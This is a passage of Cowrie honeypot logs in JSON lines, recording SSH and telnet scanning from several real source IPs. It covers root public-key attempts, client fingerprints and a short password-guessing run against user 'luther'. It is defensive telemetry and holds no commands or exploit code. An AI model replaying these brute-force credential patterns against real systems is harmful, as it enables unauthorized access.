47:56:e0:9e:a0:6b:1a:ee:7b:18:86:dd:35:59:93:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:58.437711Z","src_ip":"37.59.115.172","session":"f194c6800423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:56:e0:9e:a0:6b:1a:ee:7b:18:86:dd:35:59:93:cf","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANb+eNd108GZmlE7VK9RMSr4mfM/EZW3zgfioTmvxConQ+cixDlY6Aii4CdIVIAng1C04nM5ReHyYUJH6Epv5PFaxeX5V6hg6+adPUpTBxGGILNsptk4XTyOCPkteQ5Ep/YoXivgXs6WC8Kry4ruo8u04KeLpscsKDMP8tZHe2HNAAAAFQDEo9qPziQHg09l9PKOAJSgoHpQ3wAAAIEArbQVP0NOMBQtpVsmDK2+89Dn+fZ8s7PL3/CfMvoCbJqoo+/SUxchzcqP4jaaaygaFm391MQ0h/J/ep79Bt4fqZmFmlmlw0/2HUyaXP1dB2jpBzcGUcFIyU5eOucMHIYYyc5PSAllqMIBeu2R/B33WavmlpwK0Pg8rNjtVjUVld0AAACAT3B4FLwuevrW/NgYKh25nTDGElxD6Ef3uV3+TmK7uysXRrXnACd4ZJcQCFB9r5FzE5dcMUMilxl0qHij9ZS53S4N5G+K+OQl7EFmkX8SfsOawW9MdZHBPDehH+J2UOcvgRyoig//ybLnAug7hEi44xKY9uC7RT+P/vNWSMV0IVY=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:58.440875Z","src_ip":"37.59.115.172","session":"f194c6800423","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:5f:b2:39:fe:0e:4b:80:9b:92:da:e5:bd:db:f8:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkXCeXtzi8UzFZ4CKTiUEhTrFx2RAU1G99jSSMB6Mmmb2KGR72GdF+CQJb25oszfkvuVpMQMlq+suEcFwcHA/YBTUouKgV2wbyP9Vx72QXy5z8ytPVfrT/RzVqpoEkbXwyb8VWwDqKm7iOw6xTTnzQ8yOxufINfmMAdacqQoMYx0LsFcaRBwtxoS1akQKohlJ8hBdsuS7FoaMKvvskB7DdKWO69CmYDhUsCWE1L7KZG37jK7n+77hy/dTI5FNp/RSosz1vRTwhc7JkmZ3bhMp+vL0/w+d35aFLDCQsAtjXrS0hNBugcFKxWqlSzypgUWZ209jm9yWNqWG3muJATu1uIgED5VHo0WrCM9bcUhB8jN1Vq8e5KXkte1A5rUM2wO9V5t1C18dl0w+3GYZhUqHxLEYx9s7SANGvLgKWl6x46P3//RtH0ou0n7S4lAK/Z959N9Y43xgQoRwQhJ5U0zkgUduLZKayIQMvPlPFAHs4ItQEtAY6g0RztIrMLbvFAURQw5IP8afWp9eboNwKPiqFn6ER3mpSIoLRKNGtUc3LS9vwIiuw7qxTOBNQtys4CFeI0BUoiyKWGdlrXYuZj2ZXC6vmYSXyJ7kt6Ge3LRibbwQecsa1ZL1jSkJF+OdLcoc47S0DGULDELgRyFZGyu5o+3I4JpmGAb2maDkFmL2zJw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:5f:b2:39:fe:0e:4b:80:9b:92:da:e5:bd:db:f8:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:58.523591Z","src_ip":"37.59.115.172","session":"f194c6800423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:5f:b2:39:fe:0e:4b:80:9b:92:da:e5:bd:db:f8:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkXCeXtzi8UzFZ4CKTiUEhTrFx2RAU1G99jSSMB6Mmmb2KGR72GdF+CQJb25oszfkvuVpMQMlq+suEcFwcHA/YBTUouKgV2wbyP9Vx72QXy5z8ytPVfrT/RzVqpoEkbXwyb8VWwDqKm7iOw6xTTnzQ8yOxufINfmMAdacqQoMYx0LsFcaRBwtxoS1akQKohlJ8hBdsuS7FoaMKvvskB7DdKWO69CmYDhUsCWE1L7KZG37jK7n+77hy/dTI5FNp/RSosz1vRTwhc7JkmZ3bhMp+vL0/w+d35aFLDCQsAtjXrS0hNBugcFKxWqlSzypgUWZ209jm9yWNqWG3muJATu1uIgED5VHo0WrCM9bcUhB8jN1Vq8e5KXkte1A5rUM2wO9V5t1C18dl0w+3GYZhUqHxLEYx9s7SANGvLgKWl6x46P3//RtH0ou0n7S4lAK/Z959N9Y43xgQoRwQhJ5U0zkgUduLZKayIQMvPlPFAHs4ItQEtAY6g0RztIrMLbvFAURQw5IP8afWp9eboNwKPiqFn6ER3mpSIoLRKNGtUc3LS9vwIiuw7qxTOBNQtys4CFeI0BUoiyKWGdlrXYuZj2ZXC6vmYSXyJ7kt6Ge3LRibbwQecsa1ZL1jSkJF+OdLcoc47S0DGULDELgRyFZGyu5o+3I4JpmGAb2maDkFmL2zJw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:58.527332Z","src_ip":"37.59.115.172","session":"f194c6800423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:58.610767Z","src_ip":"37.59.115.172","session":"f194c6800423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.0778589248657227,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:58.779104Z","src_ip":"64.62.197.107","session":"927ad2e7ddc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.142.43.122","src_port":38992,"dst_ip":"10.17.0.5","dst_port":22,"session":"017f9aa489c6","protocol":"ssh","message":"New connection: 193.142.43.122:38992 (10.17.0.5:22) [session: 017f9aa489c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:01.079003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:01.083870Z","src_ip":"193.142.43.122","session":"017f9aa489c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:01.176327Z","src_ip":"193.142.43.122","session":"017f9aa489c6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:15:43:72:0f:3e:a5:bf:a8:bf:47:6b:42:b7:2c:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnyqIdCFPSn7e6uBDxSNLBR/ySS9OvZBm13C5GbbASlVM/ALLcPoweW2QJIL0gLyv1OQhCDAau3+LduEzM+F1+/zLEUMTdGAG6TLbTAxbUjNSNuektXo62M537VTm4sZ11x25O6qRPwZC0NWAg+jJDd8ZXhO2hOjCCjMSA/tMBYb4ZcPtRyohIEUxddKpwHyS4cF62ls1nZvPb15MKaYihgHWzki6b8FxQyDMJGcNfdii5ym0luzUnj2wCv1RSBH64+Yxb41HoRsCQNbgP7o0bdieVnlEulwOe41/MW99M5sFDQYd9RT7mURpTGK6fhseg5lODugMKW4PeoXqB7tub","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:15:43:72:0f:3e:a5:bf:a8:bf:47:6b:42:b7:2c:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:01.612121Z","src_ip":"193.142.43.122","session":"017f9aa489c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:15:43:72:0f:3e:a5:bf:a8:bf:47:6b:42:b7:2c:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnyqIdCFPSn7e6uBDxSNLBR/ySS9OvZBm13C5GbbASlVM/ALLcPoweW2QJIL0gLyv1OQhCDAau3+LduEzM+F1+/zLEUMTdGAG6TLbTAxbUjNSNuektXo62M537VTm4sZ11x25O6qRPwZC0NWAg+jJDd8ZXhO2hOjCCjMSA/tMBYb4ZcPtRyohIEUxddKpwHyS4cF62ls1nZvPb15MKaYihgHWzki6b8FxQyDMJGcNfdii5ym0luzUnj2wCv1RSBH64+Yxb41HoRsCQNbgP7o0bdieVnlEulwOe41/MW99M5sFDQYd9RT7mURpTGK6fhseg5lODugMKW4PeoXqB7tub","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:01.616697Z","src_ip":"193.142.43.122","session":"017f9aa489c6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:ba:68:36:7a:b7:81:f6:cd:b2:62:1d:c5:c8:ee:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3ygsF4p6I2uUVYpD5p+ZdAS6RxOuSSRH31CYlHYaxfv9Vgs6g8IQxBoa7tOmk9suhPS+MBNDfkRgkFaB9hkbZl/19hYp6fTYgFQX3mjEPL7A+2jBfmUqjd+vaQnwx7SCbtrXJINCNhJGVXnvnhAws1qBDrYQavSEfwl95SnGouhreYn9O61bI5yMO9IEyZLOEH7yQEZHtabJIjD8WXSscTZCoGo4SFAz2vQap5Jk9Y+7TY2vLlszgN8KJWwR2E/d/JSzH40aMchiKknN0iJFm7w0YJGw5MkxcaTvUzOY20YXMlRH3Xcam7kgVPqINLoR54+GXQ6bA2v5FHco1ayNMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:ba:68:36:7a:b7:81:f6:cd:b2:62:1d:c5:c8:ee:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:01.709284Z","src_ip":"193.142.43.122","session":"017f9aa489c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:ba:68:36:7a:b7:81:f6:cd:b2:62:1d:c5:c8:ee:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3ygsF4p6I2uUVYpD5p+ZdAS6RxOuSSRH31CYlHYaxfv9Vgs6g8IQxBoa7tOmk9suhPS+MBNDfkRgkFaB9hkbZl/19hYp6fTYgFQX3mjEPL7A+2jBfmUqjd+vaQnwx7SCbtrXJINCNhJGVXnvnhAws1qBDrYQavSEfwl95SnGouhreYn9O61bI5yMO9IEyZLOEH7yQEZHtabJIjD8WXSscTZCoGo4SFAz2vQap5Jk9Y+7TY2vLlszgN8KJWwR2E/d/JSzH40aMchiKknN0iJFm7w0YJGw5MkxcaTvUzOY20YXMlRH3Xcam7kgVPqINLoR54+GXQ6bA2v5FHco1ayNMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:01.713561Z","src_ip":"193.142.43.122","session":"017f9aa489c6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:09:53:00:2c:ed:b2:6f:0a:c9:ea:9d:24:f1:d9:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSuNPUoE8ZyKcVCSRSpvN9N364TzO/yxvobluFjKzYNfRsO4lrYv7tAEb9N7oLrsFMQwrmNYa/AmEbi+BCNb/iC5f9S7diHOoD/JJX6Ku7bkz8vcP9J3WDi/LrN2JjSCsdy9F+YlZ0wYy4PrUBQwmOfPODDDBULNl2kcSRo+FeUXSd/NEpFRERXRKgV6TzKJl/EFWxJoM1IeJsCjbZgK/iMWNuU5RcwBFnjx7GD1hoO/14LOSHUHgW/koZtSZ1DDz7632kooZQhYXIeP5sP1kL0Lt22A4JhNOd9kwhbbWNBFMnu5rLmMS6oYkH1XqkghTYiaU+BqKeKIBiA4pEoNkT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:09:53:00:2c:ed:b2:6f:0a:c9:ea:9d:24:f1:d9:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:01.806026Z","src_ip":"193.142.43.122","session":"017f9aa489c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:09:53:00:2c:ed:b2:6f:0a:c9:ea:9d:24:f1:d9:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSuNPUoE8ZyKcVCSRSpvN9N364TzO/yxvobluFjKzYNfRsO4lrYv7tAEb9N7oLrsFMQwrmNYa/AmEbi+BCNb/iC5f9S7diHOoD/JJX6Ku7bkz8vcP9J3WDi/LrN2JjSCsdy9F+YlZ0wYy4PrUBQwmOfPODDDBULNl2kcSRo+FeUXSd/NEpFRERXRKgV6TzKJl/EFWxJoM1IeJsCjbZgK/iMWNuU5RcwBFnjx7GD1hoO/14LOSHUHgW/koZtSZ1DDz7632kooZQhYXIeP5sP1kL0Lt22A4JhNOd9kwhbbWNBFMnu5rLmMS6oYkH1XqkghTYiaU+BqKeKIBiA4pEoNkT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:01.810011Z","src_ip":"193.142.43.122","session":"017f9aa489c6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:b8:c0:67:fc:26:0f:10:15:6a:60:9f:e9:f6:a4:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvkdDHDGUPKjbzwlr7xjr7sa3fRlCTfENticM+OObcpgFaYBrDCCFjQ+aosEd0B/yaVG/7GmsMJ4Vls3boVQT+qzcSSQH0Ly+KZehGBxjRBbnw0AiW8cuSGg1gi/Zq+/sqohIhZeb3WxkR6dR41jHORd+y98uyW32KeYbrlJvprQZrItWXnjXSB0okeSkhD44/tkqnDxEZa+VJMGsC0lxKJEVbBfcqPbN8IhNfIiDwHApzQ17i1EvdPsEASoh3m4Zzl5WsOs5605TfShq5lTMn0HujCRip5GUqL8PV7nvIzNteLvtc+nB//xInzUZBjk5YulnqHNnUyRzI83MgUwbb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:b8:c0:67:fc:26:0f:10:15:6a:60:9f:e9:f6:a4:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:01.902508Z","src_ip":"193.142.43.122","session":"017f9aa489c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:b8:c0:67:fc:26:0f:10:15:6a:60:9f:e9:f6:a4:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvkdDHDGUPKjbzwlr7xjr7sa3fRlCTfENticM+OObcpgFaYBrDCCFjQ+aosEd0B/yaVG/7GmsMJ4Vls3boVQT+qzcSSQH0Ly+KZehGBxjRBbnw0AiW8cuSGg1gi/Zq+/sqohIhZeb3WxkR6dR41jHORd+y98uyW32KeYbrlJvprQZrItWXnjXSB0okeSkhD44/tkqnDxEZa+VJMGsC0lxKJEVbBfcqPbN8IhNfIiDwHApzQ17i1EvdPsEASoh3m4Zzl5WsOs5605TfShq5lTMn0HujCRip5GUqL8PV7nvIzNteLvtc+nB//xInzUZBjk5YulnqHNnUyRzI83MgUwbb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:01.907477Z","src_ip":"193.142.43.122","session":"017f9aa489c6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:e9:30:4e:0b:5b:eb:9e:a1:b7:79:84:9d:ce:01:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCso6qWir/4DI/DTYoF2vuc4MsHH+DeLfC6RyCX+ABXCDyLWnGHvhnpfZG4bUgmmQL+Adk/ZQKgunScav+FeBQ3tlOrTr3EaTT0MoAHSjeXaHnPsvz0Quo0ZIziIuapvWe635iebBDsaLVXSEwi+9Ru5dAKXz/zz3KHQY+dsjEHYm8FZ9vI5//Cspeehtk3Uf9Eo3OH9FDfzHaEPiv8ZvoWaVY+B3bsVa/Yh78fV8eNcD1NgJ6mmzK6hpE7+LgVq5ll2fDY7sHelvGL/LU5gAMnaHrbgn2O81PkL2HX+wLzcwtDVPCe1JjdMqHa8DHfXqju2mFXbuPd6BqpFnWKaWW+lo12YWlB2sDIG+JsOaz5Uo6wSKStJ2u0vANTwaP0F3XImdHNK+ZPY4qLGEr59PiA5f3g4g79IAEaKjoeG9UIcbN8S1PGiRO+8hFwysugxoqy5WLy4e/mGaDD9b5AC7J3ySY4xOwsliUX4o7BXwgS+ZTBWPhe7P3Oe/7Md+Av20E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c0:e9:30:4e:0b:5b:eb:9e:a1:b7:79:84:9d:ce:01:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:02.003368Z","src_ip":"193.142.43.122","session":"017f9aa489c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:e9:30:4e:0b:5b:eb:9e:a1:b7:79:84:9d:ce:01:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCso6qWir/4DI/DTYoF2vuc4MsHH+DeLfC6RyCX+ABXCDyLWnGHvhnpfZG4bUgmmQL+Adk/ZQKgunScav+FeBQ3tlOrTr3EaTT0MoAHSjeXaHnPsvz0Quo0ZIziIuapvWe635iebBDsaLVXSEwi+9Ru5dAKXz/zz3KHQY+dsjEHYm8FZ9vI5//Cspeehtk3Uf9Eo3OH9FDfzHaEPiv8ZvoWaVY+B3bsVa/Yh78fV8eNcD1NgJ6mmzK6hpE7+LgVq5ll2fDY7sHelvGL/LU5gAMnaHrbgn2O81PkL2HX+wLzcwtDVPCe1JjdMqHa8DHfXqju2mFXbuPd6BqpFnWKaWW+lo12YWlB2sDIG+JsOaz5Uo6wSKStJ2u0vANTwaP0F3XImdHNK+ZPY4qLGEr59PiA5f3g4g79IAEaKjoeG9UIcbN8S1PGiRO+8hFwysugxoqy5WLy4e/mGaDD9b5AC7J3ySY4xOwsliUX4o7BXwgS+ZTBWPhe7P3Oe/7Md+Av20E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:02.008765Z","src_ip":"193.142.43.122","session":"017f9aa489c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:02.103967Z","src_ip":"193.142.43.122","session":"017f9aa489c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49210,"dst_ip":"10.17.0.5","dst_port":23,"session":"58dce18344cd","protocol":"telnet","message":"New connection: 152.42.224.71:49210 (10.17.0.5:23) [session: 58dce18344cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:02.453309Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":46704,"dst_ip":"159.203.135.109","dst_port":22,"session":"01d2e6f432d3","protocol":"ssh","message":"New connection: 213.209.159.56:46704 (159.203.135.109:22) [session: 01d2e6f432d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:03.158606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:03.163914Z","src_ip":"213.209.159.56","session":"01d2e6f432d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:03.246644Z","src_ip":"213.209.159.56","session":"01d2e6f432d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"luther","password":"luther","message":"login attempt [luther/luther] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:03.647404Z","src_ip":"213.209.159.56","session":"01d2e6f432d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"luther","password":"luther1","message":"login attempt [luther/luther1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:04.736712Z","src_ip":"213.209.159.56","session":"01d2e6f432d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"luther","password":"luther123","message":"login attempt [luther/luther123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:05.823731Z","src_ip":"213.209.159.56","session":"01d2e6f432d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"luther","password":"luther1234","message":"login attempt [luther/luther1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:06.909952Z","src_ip":"213.209.159.56","session":"01d2e6f432d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.57642650604248,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:07.046677Z","src_ip":"152.42.224.71","session":"ff47396e600e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"luther","password":"luther12345","message":"login attempt [luther/luther12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:07.996121Z","src_ip":"213.209.159.56","session":"01d2e6f432d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39604,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2869c1af366","protocol":"telnet","message":"New connection: 152.42.224.71:39604 (10.17.0.5:23) [session: b2869c1af366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:08.848471Z"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:09.081218Z","src_ip":"213.209.159.56","session":"01d2e6f432d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":59524,"dst_ip":"10.17.0.5","dst_port":22,"session":"18e79d331126","protocol":"ssh","message":"New connection: 103.27.238.114:59524 (10.17.0.5:22) [session: 18e79d331126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:09.642558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:09.647752Z","src_ip":"103.27.238.114","session":"18e79d331126","protocol":"ssh"}
